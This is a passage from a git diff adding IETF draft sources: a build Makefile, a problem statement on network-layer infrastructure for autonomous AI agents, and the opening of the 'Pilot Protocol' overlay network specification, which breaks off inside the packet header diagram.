a/docs/ietf/.gitignore b/docs/ietf/.gitignore new file mode 100644 index 00000000..2f838655 --- /dev/null +++ b/docs/ietf/.gitignore @@ -0,0 +1,8 @@ +# Build artifacts (regenerated by `make build`) +*.xml +*.txt +*.html +.refcache/ + +# Old revision build artifacts +*-00.* diff --git a/docs/ietf/Makefile b/docs/ietf/Makefile new file mode 100644 index 00000000..534594dd --- /dev/null +++ b/docs/ietf/Makefile @@ -0,0 +1,54 @@ +# IETF Internet-Draft Build Tooling +# Converts kramdown-rfc Markdown to RFCXML, then to TXT and HTML +# +# Prerequisites: +# brew install ruby +# /opt/homebrew/opt/ruby/bin/gem install kramdown-rfc +# pip3 install xml2rfc + +DRAFTS = draft-teodor-pilot-problem-statement-01 \ + draft-teodor-pilot-protocol-01 + +XML = $(addsuffix .xml, $(DRAFTS)) +TXT = $(addsuffix .txt, $(DRAFTS)) +HTML = $(addsuffix .html, $(DRAFTS)) + +# Tool paths (auto-detect or fallback to Homebrew Ruby) +KRAMDOWN = $(shell which kramdown-rfc2629 2>/dev/null || echo /opt/homebrew/lib/ruby/gems/4.0.0/bin/kramdown-rfc2629) +XML2RFC = xml2rfc + +.PHONY: all build install lint clean + +all: build + +# Keep XML intermediates (Make auto-deletes implicit intermediates) +.PRECIOUS: %.xml + +build: $(XML) $(TXT) $(HTML) + +# Markdown -> RFCXML via kramdown-rfc (warnings to stderr, XML to stdout) +%.xml: %.md + $(KRAMDOWN) $< 2>/dev/null >$@ + +# RFCXML -> Plain text +%.txt: %.xml + $(XML2RFC) --text $< + +# RFCXML -> HTML +%.html: %.xml + $(XML2RFC) --html $< + +install: + brew install ruby + /opt/homebrew/opt/ruby/bin/gem install kramdown-rfc + pip3 install xml2rfc + +lint: $(TXT) + @for f in $(TXT); do \ + echo "=== idnits $$f ==="; \ + idnits --verbose $$f || true; \ + echo; \ + done + +clean: + rm -f $(XML) $(TXT) $(HTML) diff --git a/docs/ietf/draft-teodor-pilot-problem-statement-01.md b/docs/ietf/draft-teodor-pilot-problem-statement-01.md new file mode 100644 index 00000000..d4b16d3c --- /dev/null +++ b/docs/ietf/draft-teodor-pilot-problem-statement-01.md @@ -0,0 +1,599 @@ +--- +title: "Problem Statement: Network-Layer Infrastructure for Autonomous Agent Communication" +abbrev: "Agent Network Problem Statement" +docname: draft-teodor-pilot-problem-statement-01 +category: info +ipr: trust200902 +area: Internet +workgroup: Independent Submission +submissiontype: independent + +stand_alone: yes +pi: + toc: yes + sortrefs: yes + symrefs: yes + compact: yes + +author: + - + ins: C. Teodor + name: Calin Teodor + organization: Vulture Labs + email: teodor@vulturelabs.com + +informative: + RFC7364: + RFC9000: + RFC9300: + RFC9301: + I-D.rosenberg-aiproto-framework: + title: "A Framework for AI Protocols" + author: + - ins: J. Rosenberg + date: 2025 + target: https://datatracker.ietf.org/doc/draft-rosenberg-aiproto-framework/ + I-D.zyyhl-agent-networks-framework: + title: "A Framework for Agent Networks" + author: + - ins: Z. Yao + date: 2025 + target: https://datatracker.ietf.org/doc/draft-zyyhl-agent-networks-framework/ + I-D.narvaneni-agent-uri: + title: "Agent URI Scheme" + author: + - ins: S. Narvaneni + date: 2025 + target: https://datatracker.ietf.org/doc/draft-narvaneni-agent-uri/ + MCP: + title: "Model Context Protocol" + author: + - org: Anthropic + date: 2024 + target: https://modelcontextprotocol.io/ + A2A: + title: "Agent-to-Agent Protocol" + author: + - org: Google + date: 2025 + target: https://google.github.io/A2A/ + WIREGUARD: + title: "WireGuard: Next Generation Kernel Network Tunnel" + author: + - ins: J. A. Donenfeld + date: 2017 + target: https://www.wireguard.com/papers/wireguard.pdf + LIBP2P: + title: "libp2p: A Modular Network Stack" + author: + - org: Protocol Labs + date: 2023 + target: https://libp2p.io/ + I-D.yao-catalist-problem-space-analysis: + title: "Problem Space Analysis of AI Agent Protocols in IETF" + author: + - ins: Y. Zhou + - ins: K. Yao + date: 2026 + target: https://datatracker.ietf.org/doc/draft-yao-catalist-problem-space-analysis/ + I-D.eckert-catalist-acip-framework: + title: "Framework for Agent Communications Internet Protocol (ACIP)" + author: + - ins: T. Eckert + date: 2026 + target: https://datatracker.ietf.org/doc/draft-eckert-catalist-acip-framework/ + I-D.du-catalist-routing-considerations: + title: "Routing Considerations in Agentic Network" + author: + - ins: Z. Du + date: 2026 + target: https://datatracker.ietf.org/doc/draft-du-catalist-routing-considerations/ + I-D.prakash-aip: + title: "Agent Identity Protocol (AIP)" + author: + - ins: S. Prakash + date: 2026 + target: https://datatracker.ietf.org/doc/draft-prakash-aip/ + I-D.nemethi-aid-agent-identity-discovery: + title: "Agent Identity and Discovery (AID)" + author: + - ins: B. Nemethi + date: 2026 + target: https://datatracker.ietf.org/doc/draft-nemethi-aid-agent-identity-discovery/ + I-D.hood-independent-agtp: + title: "Agent Transfer Protocol (AGTP)" + author: + - ins: C. Hood + date: 2026 + target: https://datatracker.ietf.org/doc/draft-hood-independent-agtp/ + I-D.li-atp: + title: "Agent Transfer Protocol (ATP)" + author: + - ins: Y. Li + date: 2026 + target: https://datatracker.ietf.org/doc/draft-li-atp/ + I-D.sharif-agent-audit-trail: + title: "Agent Audit Trail" + author: + - ins: R. Sharif + date: 2026 + target: https://datatracker.ietf.org/doc/draft-sharif-agent-audit-trail/ + I-D.ni-wimse-ai-agent-identity: + title: "WIMSE Applicability for AI Agents" + author: + - ins: Y. Ni + - ins: C. P. Liu + date: 2026 + target: https://datatracker.ietf.org/doc/draft-ni-wimse-ai-agent-identity/ + +--- abstract + +AI agents --- autonomous software entities capable of reasoning, planning, +and executing tasks --- are an increasingly important class of network +participant. Current agent communication protocols operate exclusively at +the application layer over HTTP, assuming the existence of stable endpoints, +DNS names, and centralized infrastructure. No existing standard provides +network-layer identity, addressing, or transport for agents. This document +describes the problem space and identifies requirements for a network-layer +infrastructure that would give agents first-class network citizenship, +independent of the web infrastructure designed for human users. + +--- middle + +# Introduction + +The internet's protocol stack was designed for human-operated devices with +stable network attachments. IP addresses identify interfaces, DNS names +identify services, and TLS certificates identify organizations. These +assumptions break down for AI agents, which are transient software +processes that may run behind NAT, migrate between hosts, and lack +persistent network identity. + +Recent standardization efforts for agent communication --- notably MCP +{{MCP}} (agent-to-tool) and A2A {{A2A}} (agent-to-agent) --- have focused +on application-layer protocols built on HTTP. These protocols define what +agents say to each other but assume the underlying problem of how agents +reach each other is already solved. For agents running in cloud +environments with public endpoints, this assumption holds. For agents +running on edge devices, behind corporate firewalls, on laptops, or in +heterogeneous multi-cloud deployments, it does not. + +The IETF has seen explosive activity in AI agent protocol +standardization, with over thirty individual drafts filed in 2025-2026 +covering agent identity ({{I-D.prakash-aip}}, {{I-D.ni-wimse-ai-agent-identity}}), +discovery ({{I-D.nemethi-aid-agent-identity-discovery}}), transport +({{I-D.hood-independent-agtp}}, {{I-D.li-atp}}), routing +({{I-D.du-catalist-routing-considerations}}), frameworks +({{I-D.rosenberg-aiproto-framework}}, {{I-D.zyyhl-agent-networks-framework}}, +{{I-D.eckert-catalist-acip-framework}}), and audit +({{I-D.sharif-agent-audit-trail}}). The CATALIST Birds of a Feather +session at IETF 125 (March 2026, Shenzhen) was the first formal +coordination effort, surveying the problem space +({{I-D.yao-catalist-problem-space-analysis}}) without yet chartering a +working group. + +Despite this volume, the vast majority of these drafts operate at the +application layer over HTTP. Even the dedicated transport proposals +(AGTP, ATP) define application-layer semantics carried over QUIC or TCP +--- none provides an overlay network with virtual addressing, port-based +multiplexing, and built-in NAT traversal at the network layer. The +network-layer gap identified in the original version of this document +remains unaddressed. + +This document describes the problem of network-layer infrastructure for +autonomous agent communication, identifies the gaps in existing protocols, +and states requirements for a solution. It is modeled after {{RFC7364}}, +which performed a similar analysis for network virtualization overlays. + +# Terminology + +{::boilerplate bcp14-tagged} + +Agent: +: An autonomous software entity capable of reasoning, planning, and + executing tasks without continuous human supervision. An agent may run as + a process, container, or serverless function. + +Overlay Network: +: A virtual network built on top of an existing network (the underlay). + Overlay nodes communicate using encapsulated packets carried over the + underlay. + +Virtual Address: +: A network address assigned within the overlay address space, independent + of the underlay IP address. A virtual address identifies an agent, not a + network interface. + +Registry: +: A service that assigns virtual addresses, maintains an address-to-locator + mapping table, and provides bootstrap information for overlay + participants. + +Trust Handshake: +: A protocol exchange through which two agents establish a bilateral trust + relationship with explicit mutual consent. + +# Problem Description + +## Agent Identity Is Coupled to Infrastructure + +In current practice, agents are identified by URLs, DNS names, or API +endpoints --- all of which are tied to the infrastructure hosting the +agent, not to the agent itself. When an agent migrates to a different host, +changes cloud provider, or restarts behind a different NAT binding, its +identity changes. There is no stable identifier that follows an agent +across these transitions. + +This is analogous to the identity/locator conflation problem in IP +networking, which motivated the Locator/ID Separation Protocol (LISP) +{{RFC9300}}. In LISP, Endpoint Identifiers (EIDs) are separated from +Routing Locators (RLOCs) so that an endpoint's identity is independent of +its network attachment point. Agents need the same separation: a permanent +identity that is independent of the transient infrastructure hosting them. + +The A2A protocol {{A2A}} identifies agents via "Agent Cards" served at +well-known HTTPS URLs. The Agent URI scheme {{I-D.narvaneni-agent-uri}} +proposes `agent://` URIs but still requires DNS-resolvable endpoints. +Both approaches require the agent to maintain a stable, publicly +reachable web endpoint --- a requirement that excludes agents running on +edge devices, behind NAT, or in ephemeral compute environments. + +## No Peer-to-Peer Communication Without Web Infrastructure + +Both MCP {{MCP}} and A2A {{A2A}} require HTTP endpoints for communication. +This means every agent must either have a publicly routable IP address or +be fronted by a reverse proxy, load balancer, or API gateway. For two +agents behind NAT to communicate, at least one must provision web +infrastructure as an intermediary. + +NAT traversal is a solved problem for specific domains: WebRTC handles it +for browsers (at the cost of ICE/DTLS-SRTP/SDP negotiation complexity), +and WireGuard {{WIREGUARD}} handles it for VPN tunnels. But no existing +protocol provides NAT traversal specifically designed for agent-to-agent +communication, with agent-native addressing and trust semantics. + +An estimated 88% of real-world network environments involve some form of +NAT. Agents running on laptops, IoT devices, edge servers, and mobile +phones cannot participate in HTTP-based agent protocols without significant +infrastructure provisioning. + +## No Agent-Native Trust Model + +Existing trust models were designed for different participants: + +- TLS: Trust is anchored in Certificate Authorities. Agents would need to + obtain and manage X.509 certificates, adding operational complexity + disproportionate to many agent interactions. + +- SSH: Trust-on-first-use (TOFU) assumes a human operator who can verify a + host key fingerprint. Autonomous agents have no human in the loop. + +- OAuth/OIDC: Designed for user-to-service authorization, not peer-to-peer + agent trust. Requires an authorization server as a trusted third party. + +None of these models provide bilateral consent --- the property that both +parties must explicitly agree before a communication relationship is +established. For autonomous entities that may be operated by different +organizations, bilateral consent is a natural trust primitive: neither +agent should be reachable by the other until both have agreed. + +## No Lightweight Transport for Agent Streams + +TCP and QUIC {{RFC9000}} are general-purpose transports optimized for web +traffic patterns (request-response, large transfers, multiplexed streams). +Agent communication patterns differ: + +- Many agents exchange small, frequent messages (status updates, task + delegations, sensor readings) where connection setup overhead dominates. + +- Agents often maintain long-lived bidirectional streams for event-driven + architectures, where TCP's head-of-line blocking is problematic. + +- Agents may need port-based service multiplexing (echo on one port, task + submission on another, events on a third) --- a concept that exists in + TCP/UDP but has no equivalent in HTTP-based agent protocols. + +While QUIC addresses head-of-line blocking through multiplexed streams, it +does not provide agent addressing, discovery, or trust semantics. A +transport designed for agents could provide these as built-in capabilities +rather than requiring them to be layered on top. + +## Privacy Gaps in Agent Discovery + +Current agent discovery mechanisms are designed for visibility: + +- A2A Agent Cards are intended to be publicly discoverable at well-known + URLs. +- DNS-SD and mDNS broadcast service availability to all listeners on a + network segment. +- HTTP-based service registries typically allow any authenticated client to + enumerate all registered services. + +For agents, the default should be the opposite. An agent's existence and +capabilities should not be disclosed to parties that have not been +explicitly authorized. Mass enumeration of agent endpoints creates attack +surface (reconnaissance for exploitation) and privacy risks (mapping an +organization's agent infrastructure). + +A privacy-by-default discovery model --- where agents are invisible until +they explicitly opt in to specific peer relationships --- has no equivalent +in current standards. + +## No Multi-Tenant Network Isolation + +Current agent protocols assume flat, single-tenant deployments where all +agents share the same namespace and trust domain. In practice, +organizations deploy multiple agent teams serving different departments, +projects, or customers. These teams need isolation: + +- Agents in one project should not observe or interfere with agents in + another. +- Administrative control (who can join a network, what ports are + accessible, who can modify policy) should be scoped per network, not + global. +- Compliance requirements (SOC 2, GDPR, HIPAA) demand audit trails + recording who did what, when, and to which network --- at the + infrastructure layer, not bolted on at the application layer. + +No existing agent protocol or draft addresses multi-tenancy, role-based +access control, or per-network policy enforcement. The closest analog is +cloud VPC isolation, but VPCs operate at the IP layer and require cloud +provider infrastructure. Agent networks need the same isolation primitives +at the overlay layer, independent of the underlying cloud or network +topology. + +# Requirements for a Solution + +Based on the problems identified above, a network-layer infrastructure for +agent communication should satisfy the following requirements: + +## Virtual Addressing + +{: vspace="0"} +REQ-1: +: Agents MUST receive stable virtual addresses that are independent of + their underlying IP address, network attachment point, and hosting + infrastructure. + +REQ-2: +: The addressing scheme MUST support hierarchical grouping (e.g., network + or topic-based segmentation) to enable scoped communication boundaries. + +## NAT Traversal + +{: vspace="0"} +REQ-3: +: The system MUST provide automatic NAT traversal without requiring manual + configuration of port forwarding, firewall rules, or relay proxies by the + agent operator. + +REQ-4: +: NAT traversal MUST support direct peer-to-peer communication where + possible, with transparent relay fallback when direct communication is + not achievable. + +## Bilateral Trust Model + +{: vspace="0"} +REQ-5: +: Communication between agents MUST require explicit bilateral consent. + Neither agent should be reachable by the other until both have agreed to + establish a trust relationship. + +REQ-6: +: Trust relationships MUST be revocable. Revoking trust MUST immediately + prevent further communication. + +## Lightweight Encrypted Transport + +{: vspace="0"} +REQ-7: +: The transport MUST provide reliable, ordered byte stream delivery + (TCP-equivalent) and unreliable datagram delivery (UDP-equivalent) over + the overlay. + +REQ-8: +: Encryption MUST be enabled by default for all data in transit, with no + opt-in required from the agent developer. + +REQ-9: +: The transport MUST support port-based service multiplexing, allowing an + agent to expose multiple services on different virtual ports. + +## Privacy-by-Default Discovery + +{: vspace="0"} +REQ-10: +: Agents MUST be private by default. An agent's virtual address, physical + locator, and capabilities MUST NOT be disclosed to parties without an + established trust relationship or shared group membership. + +REQ-11: +: It MUST be possible to establish trust with a private agent without + first knowing its physical network location (i.e., via a trusted relay + or rendezvous mechanism). + +## Multi-Tenant Isolation + +{: vspace="0"} +REQ-12: +: The system MUST support isolated network segments with independent + membership control, role-based access (at minimum: owner, administrator, + and member roles), and per-network policy enforcement. Operations within + one network MUST NOT affect agents in another network. + +## Audit and Compliance + +{: vspace="0"} +REQ-13: +: The system MUST provide an audit trail recording security-relevant + operations including node registration and deregistration, trust + relationship changes, network membership modifications, role assignments, + and policy updates. Audit records MUST include timestamps, actor + identifiers, and old/new values for state mutations. + +# Existing Approaches and Gaps + +## MCP (Model Context Protocol) + +MCP {{MCP}} standardizes the interface between AI models and external +tools/resources. It uses JSON-RPC over HTTP with Server-Sent Events for +streaming. MCP addresses agent-to-tool communication, not agent-to-agent +communication, and provides no network-layer capabilities. It assumes +agents can reach tool servers via HTTP. + +## A2A (Agent-to-Agent Protocol) + +A2A {{A2A}} defines a protocol for agent interoperability: Agent Cards for +discovery, task lifecycle management, and multimodal message exchange. A2A +operates entirely over HTTP/HTTPS. It provides no NAT traversal, no +overlay addressing, no built-in encryption beyond TLS, and no bilateral +trust model. It assumes agents have reachable HTTP endpoints. + +## WebRTC + +WebRTC provides peer-to-peer communication with NAT traversal via ICE, +encryption via DTLS-SRTP, and data channels via SCTP. However, WebRTC was +designed for browser-based audio/video communication. Its complexity +(ICE candidate gathering, SDP offer/answer negotiation, DTLS-SRTP key +exchange) is disproportionate for agent message exchange. WebRTC also lacks +agent-specific concepts like virtual addressing, bilateral trust, and +privacy-by-default discovery. + +## QUIC + +QUIC {{RFC9000}} provides a modern transport with multiplexed streams, +built-in encryption, and reduced connection setup latency. QUIC addresses +transport-layer concerns but does not provide overlay addressing, agent +identity, NAT traversal coordination, trust management, or discovery. It +is a potential underlay transport for an agent overlay, not a complete +solution. + +## libp2p + +libp2p {{LIBP2P}} is a modular networking stack developed for +decentralized applications, particularly in the blockchain ecosystem. It +provides peer identity (via cryptographic keypairs), NAT traversal, and +transport multiplexing. libp2p is the closest existing system to the +requirements stated above. However, it uses unstructured peer IDs (not +hierarchical addresses), is heavyweight (large dependency tree), is +oriented toward content-addressed distributed systems rather than agent +communication patterns, and lacks built-in bilateral trust or privacy-by- +default semantics. + +## WireGuard + +WireGuard {{WIREGUARD}} provides encrypted point-to-point tunnels with +excellent performance. It uses Curve25519 for key exchange and ChaCha20- +Poly1305 for encryption. WireGuard establishes tunnels between known peers +with pre-shared public keys --- it does not provide dynamic discovery, +agent addressing, or trust negotiation. It is a VPN, not an agent network. + +## LISP + +The Locator/ID Separation Protocol {{RFC9300}} {{RFC9301}} separates +endpoint identity from network location, providing a conceptual precedent +for agent addressing. LISP's EID-to-RLOC mapping system is architecturally +similar to an agent registry that maps virtual addresses to physical +locators. However, LISP operates at the IP layer for routing optimization, +not at the application layer for agent communication. It does not provide +agent-specific trust models, privacy semantics, or built-in services. + +## AGTP (Agent Transfer Protocol) + +AGTP {{I-D.hood-independent-agtp}} proposes a dedicated application-layer +protocol for AI agent traffic with agent-native intent methods (QUERY, +SUMMARIZE, DELEGATE, COLLABORATE). It correctly identifies that MCP and +A2A are messaging-layer constructs that do not address the transport +problem. However, AGTP operates over QUIC or TCP/TLS at the application +layer --- it defines what agents say, not how they reach each other. It +provides no overlay addressing, no virtual network primitives, no NAT +traversal, and no multi-tenant isolation. + +## ATP (Agent Transfer Protocol) + +ATP {{I-D.li-atp}} defines a two-tier architecture where agents connect +to ATP servers, with DNS-based service discovery via SVCB records. It +supports asynchronous messaging, synchronous request/response, and +event-driven streaming. Like AGTP, ATP operates at the application layer +and requires server infrastructure as an intermediary --- the same +dependency on centralized endpoints that HTTP-based protocols impose. It +does not address overlay networking, NAT traversal for serverless agents, +or privacy-by-default semantics. + +## AIP (Agent Identity Protocol) + +AIP {{I-D.prakash-aip}} defines verifiable, delegable identity for AI +agents using Invocation-Bound Capability Tokens (IBCTs) with Ed25519 +signatures and Biscuit-based delegation chains. AIP addresses the identity +problem (REQ-1) with a cryptographically strong approach. However, it +focuses exclusively on identity and authorization --- it provides no +transport, addressing, or network-layer primitives. AIP's identity tokens +could complement an overlay network that provides the missing transport +substrate. + +## CATALIST Coordination + +The CATALIST BoF at IETF 125 +{{I-D.yao-catalist-problem-space-analysis}} surveyed the agent protocol +landscape and began scoping what IETF should standardize. The problem +space analysis identified categories including agent identity, discovery, +communication, and governance. Notably, agent network routing +{{I-D.du-catalist-routing-considerations}} defines forwarding based on +Agent ID, Gateway ID, and Skill --- concepts that overlap with virtual +addressing and service multiplexing. The ACIP framework +{{I-D.eckert-catalist-acip-framework}} proposes agent-aware network +infrastructure drawing from overlay/underlay designs. These efforts +validate the need for network-layer agent infrastructure but have not +yet produced a concrete protocol specification. + +# Security Considerations + +A network-layer infrastructure for agents introduces security +considerations beyond those of traditional overlay networks: + +Centralized Registry: +: A registry that assigns addresses and maintains locator mappings is a + trusted third party. Compromise of the registry could allow address + hijacking, locator spoofing, or metadata harvesting. The registry + should support authentication, access control, and replication for high + availability. + +Overlay Header Metadata: +: Even with payload encryption, overlay packet headers may expose source + and destination virtual addresses, port numbers, and packet sizes. Traffic + analysis on the overlay is possible even when the underlay is encrypted. + +Trust Model Assumptions: +: A bilateral trust model assumes that agents can make informed consent + decisions. If an agent's trust logic is compromised (e.g., by adversarial + prompt injection), it may approve trust relationships it should reject. + The trust model provides a mechanism, not a policy --- the security of + trust decisions depends on the agent's reasoning capability. + +Key Management: +: Overlay encryption requires key exchange between peers. Anonymous key + exchange (without identity binding) is vulnerable to man-in-the-middle + attacks. Authenticated key exchange requires a mechanism to distribute + and verify public keys, which depends on the registry's integrity. + +Multi-Tenant Control Plane: +: A multi-tenant registry introduces additional attack surface. Per-network + role-based access control must be enforced consistently to prevent + privilege escalation (e.g., a member modifying network policy). Admin + token authentication for privileged operations must use constant-time + comparison to prevent timing attacks. Audit trails must be tamper-evident + and persist across service restarts to support forensic analysis + (see also {{I-D.sharif-agent-audit-trail}}). + +# IANA Considerations + +This document has no IANA actions. + +--- back + +# Acknowledgments + +The author thanks the participants of the IETF AI protocols discussions +for their contributions to understanding the agent communication +landscape. diff --git a/docs/ietf/draft-teodor-pilot-protocol-01.md b/docs/ietf/draft-teodor-pilot-protocol-01.md new file mode 100644 index 00000000..9a13671c --- /dev/null +++ b/docs/ietf/draft-teodor-pilot-protocol-01.md @@ -0,0 +1,1562 @@ +--- +title: "Pilot Protocol: An Overlay Network for Autonomous Agent Communication" +abbrev: "Pilot Protocol" +docname: draft-teodor-pilot-protocol-01 +category: exp +ipr: trust200902 +area: Internet +workgroup: Independent Submission +submissiontype: independent + +stand_alone: yes +pi: + toc: yes + sortrefs: yes + symrefs: yes + compact: yes + +author: + - + ins: C. Teodor + name: Calin Teodor + organization: Vulture Labs + email: teodor@vulturelabs.com + +normative: + RFC1982: + RFC5116: + RFC5681: + RFC5869: + RFC6298: + RFC6928: + RFC7748: + RFC8032: + RFC8489: + +informative: + RFC3465: + RFC7348: + RFC7942: + RFC8926: + RFC9000: + RFC9300: + I-D.yao-catalist-problem-space-analysis: + title: "Problem Space Analysis of AI Agent Protocols in IETF" + author: + - ins: Y. Zhou + - ins: K. Yao + date: 2026 + target: https://datatracker.ietf.org/doc/draft-yao-catalist-problem-space-analysis/ + I-D.prakash-aip: + title: "Agent Identity Protocol (AIP)" + author: + - ins: S. Prakash + date: 2026 + target: https://datatracker.ietf.org/doc/draft-prakash-aip/ + I-D.hood-independent-agtp: + title: "Agent Transfer Protocol (AGTP)" + author: + - ins: C. Hood + date: 2026 + target: https://datatracker.ietf.org/doc/draft-hood-independent-agtp/ + +--- abstract + +This document specifies Pilot Protocol, an overlay network that provides +autonomous AI agents with virtual addresses, port-based service +multiplexing, reliable and unreliable transport, NAT traversal, encrypted +tunnels, and a bilateral trust model. Pilot Protocol operates as a +network and transport layer beneath application-layer agent protocols such +as A2A and MCP. It encapsulates virtual packets in UDP datagrams for +transit over the existing Internet. The protocol gives agents first-class +network citizenship --- stable identities, reachable addresses, and +standard transport primitives --- independent of their underlying network +infrastructure. + +--- middle + +# Introduction + +AI agents are autonomous software entities that reason, plan, and execute +tasks. As agents become more prevalent, they need to communicate with each +other across heterogeneous network environments: cloud, edge, behind NAT, +and across organizational boundaries. Current agent protocols (MCP, A2A) +operate at the application layer over HTTP, assuming agents have stable, +reachable endpoints. This assumption fails for a large class of +deployments. + +Pilot Protocol is an overlay network stack that gives agents network-layer +primitives: virtual addresses, ports, reliable streams, unreliable +datagrams, NAT traversal, encrypted tunnels, name resolution, and a +bilateral trust model. It is positioned as the network/transport layer +beneath application-layer agent protocols --- analogous to how TCP/IP sits +beneath HTTP. + +## Design Principles + +The protocol is designed around five principles: + +1. **Agents are first-class network citizens.** Every agent gets a unique + virtual address, can bind ports, listen for connections, and be reached + by any authorized peer. + +2. **The network boundary is the trust boundary.** Network membership + serves as the primary access control mechanism. Joining a network + requires meeting its rules. + +3. **Transport agnosticism.** The protocol provides reliable streams + (TCP-equivalent) and unreliable datagrams (UDP-equivalent). Anything + that runs on TCP/IP can run on the overlay. + +4. **Minimize the protocol, maximize the surface.** The protocol defines + addressing, packets, and transport. Application-level message formats + are layers built on top. + +5. **Practical over pure.** The protocol uses a centralized registry for + address assignment and a centralized beacon for NAT traversal. Full + decentralization is a future goal, not a prerequisite. + +## Relationship to Existing Protocols + +Pilot Protocol operates at the network and transport layers of the overlay +stack. It is complementary to, not competitive with, application-layer +agent protocols: + +- A2A defines what agents say to each other. Pilot defines how they reach + each other. +- MCP defines agent-to-tool interfaces. Pilot provides the transport + substrate. +- QUIC {{RFC9000}} is a potential underlay transport. Pilot could run over + QUIC instead of raw UDP. +- LISP {{RFC9300}} provides conceptual precedent for identity/locator + separation. +- VXLAN {{RFC7348}} and GENEVE {{RFC8926}} are overlay encapsulation + precedents at the data link layer. Pilot operates at the network layer. +- AGTP {{I-D.hood-independent-agtp}} and AIP {{I-D.prakash-aip}} address + agent transport and identity at the application layer; Pilot provides + the network substrate beneath them. + +The CATALIST coordination effort {{I-D.yao-catalist-problem-space-analysis}} +at IETF 125 surveyed the agent protocol landscape and is scoping what +IETF should standardize in this space. + +# Terminology + +{::boilerplate bcp14-tagged} + +Agent: +: An autonomous software entity capable of reasoning, planning, and + executing tasks without continuous human supervision. + +Daemon: +: The local Pilot Protocol process that implements the virtual network + stack. It maintains a UDP tunnel, handles routing, session management, + and encryption. Analogous to a virtual NIC. + +Driver: +: An SDK or library that agents import to communicate with the local + daemon over IPC. Provides the application-facing API (listen, dial, + read, write, close). + +Registry: +: A centralized service that assigns virtual addresses, maintains the + address-to-locator mapping table, manages network membership, and stores + public keys. + +Beacon: +: A service that provides NAT traversal coordination: endpoint discovery + (STUN-like), hole-punch coordination, and relay fallback. + +Virtual Address: +: A 48-bit overlay address assigned to an agent, independent of its + underlying IP address. + +Trust Pair: +: A bilateral trust relationship between two agents, established through + explicit mutual consent. + +# Architecture Overview + +## Protocol Stack + +Pilot Protocol is a five-layer overlay stack: + +| Layer | Function | +|:------|:---------| +| Application | HTTP, RPC, custom protocols (above Pilot) | +| Session | Reliable streams, unreliable datagrams | +| Network | Virtual addresses, ports, routing | +| Tunnel | NAT traversal, UDP encapsulation, encryption | +| Physical | Real Internet (IP/TCP/UDP) | + +The overlay handles addressing, routing, and session management. The +underlying Internet handles physical delivery. + +## Component Roles + +Registry: +: Assigns virtual addresses, maintains address table, manages networks + and trust pairs, relays handshake requests for private nodes. Runs on + TCP. The only globally reachable component. + +Beacon: +: Provides STUN-like endpoint discovery, hole-punch coordination, and + relay fallback for symmetric NAT. Runs on UDP. + +Daemon: +: Core protocol implementation running on each participating machine. + Maintains a single UDP socket, multiplexes all virtual connections, + handles tunnel encryption, and exposes a local IPC socket for drivers. + +Driver: +: Client SDK that agents import. Connects to the local daemon via Unix + domain socket. Implements standard network interfaces (listeners, + connections). + +Nameserver: +: DNS equivalent for the overlay. Runs as a service on virtual port 53, + resolving human-readable names to virtual addresses. + +Gateway: +: Bridge between the overlay and standard IP. Maps virtual addresses to + local IPs, allowing unmodified TCP programs to reach agents. + +# Addressing + +## Virtual Address Format + +Addresses are 48 bits, split into two fields: + +~~~~ + 0 1 2 + 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Network ID (16 bits) | Node ID (32 bits) ~ ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +~ Node ID (continued) | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +~~~~ + +Network ID (16 bits): +: Identifies the network or topic. Network 0 is the global backbone; all + nodes are members by default. Networks 1-65534 are created for specific + purposes. Network 65535 is reserved. + +Node ID (32 bits): +: Identifies the individual agent within a network. Supports over 4 + billion nodes per network. + +## Text Representation + +Addresses are written as `N:XXXX.YYYY.ZZZZ` where: + +- `N` is the network ID in decimal +- `XXXX.YYYY.ZZZZ` is the node ID as three groups of 4 hexadecimal digits + +Examples: + +- `0:0000.0000.0001` --- Node 1 on the backbone +- `1:00A3.F291.0004` --- A node on network 1 + +## Socket Addresses + +A socket address appends a port: `1:00A3.F291.0004:1000` + +## Special Addresses + +| Address | Meaning | +|:--------|:--------| +| `0:0000.0000.0000` | Unspecified / wildcard | +| `0:0000.0000.0001` | Registry | +| `0:0000.0000.0002` | Beacon | +| `0:0000.0000.0003` | Nameserver | +| `X:FFFF.FFFF.FFFF` | Broadcast on network X | + +# Ports + +## Port Ranges + +Virtual ports are 16-bit unsigned integers (0-65535): + +| Range | Purpose | +|:------|:--------| +| 0-1023 | Reserved / well-known | +| 1024-49151 | Registered services | +| 49152-65535 | Ephemeral / dynamic | + +## Well-Known Ports + +| Port | Service | Description | +|:-----|:--------|:------------| +| 0 | Ping | Liveness checks | +| 1 | Control | Daemon-to-daemon control | +| 7 | Echo | Echo service (testing) | +| 53 | Name resolution | Nameserver queries | +| 80 | Agent HTTP | Web endpoints | +| 443 | Secure channel | X25519 + AES-256-GCM | +| 444 | Trust handshake | Peer trust negotiation | +| 1000 | Standard I/O | Text stream between agents | +| 1001 | Data exchange | Typed frames (text, binary, JSON, file) | +| 1002 | Event stream | Pub/sub with topic filtering | +| 1003 | Task submission | Task lifecycle and reputation scoring | + +# Packet Format + +## Header Layout + +The fixed packet header is 34 bytes: + +~~~~ + 0 1 2 3 + 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Ver | Flags | Protocol | Payload Length | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Source Network ID | | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Source Node ID | +| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Destination Network ID | | ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Destination Node ID | +| +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ ++-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +| Source 